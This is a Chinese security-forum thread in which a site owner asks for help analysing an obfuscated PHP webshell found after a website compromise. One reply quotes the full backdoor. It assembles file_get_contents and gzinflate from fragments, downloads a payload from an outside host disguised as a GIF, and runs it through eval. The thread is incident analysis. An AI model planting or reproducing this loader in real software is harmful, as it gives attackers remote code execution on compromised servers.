网站被黑了 求各位大哥帮忙分析一下 此大马

网站被人撸了,在文件溯源的时候 发现到了这个大马 打开 发现都是加密的 懵懵的 想到tools大神多 所以 弟弟发帖 想请大表哥 帮忙给 弟弟看 能不能给他解密了


最后在教下大表哥们 这类的的加密一般都应该怎么解密

这不就是ascii转字符吗？？？

<?php $password='123321';$b='chr';session_start();if(empty($_SESSION['PhpCode'])){$d="http://4w4.in/php/php.gif";$e=file_;$e.=get_c;$e.=onten;$e.=ts;$_SESSION['PhpCode']=$e($d);}$f=gzin;$f.=flate;@eval(/**/$f/**/(/**/$_SESSION/**/[/**/'PhpCode'/**/]/**/)/**/);

接上楼，附一个http://4w4.in/php/php.gif的内容，他的title是这样的，太嚣张了。。。

这都不是重点  重点是不是出0day了

前几天，搞一个溯源，刚好遇到类的这么一个后门，哈哈。
没想到这么快就在这里看到有类似的了。

马儿有年头了 以前见过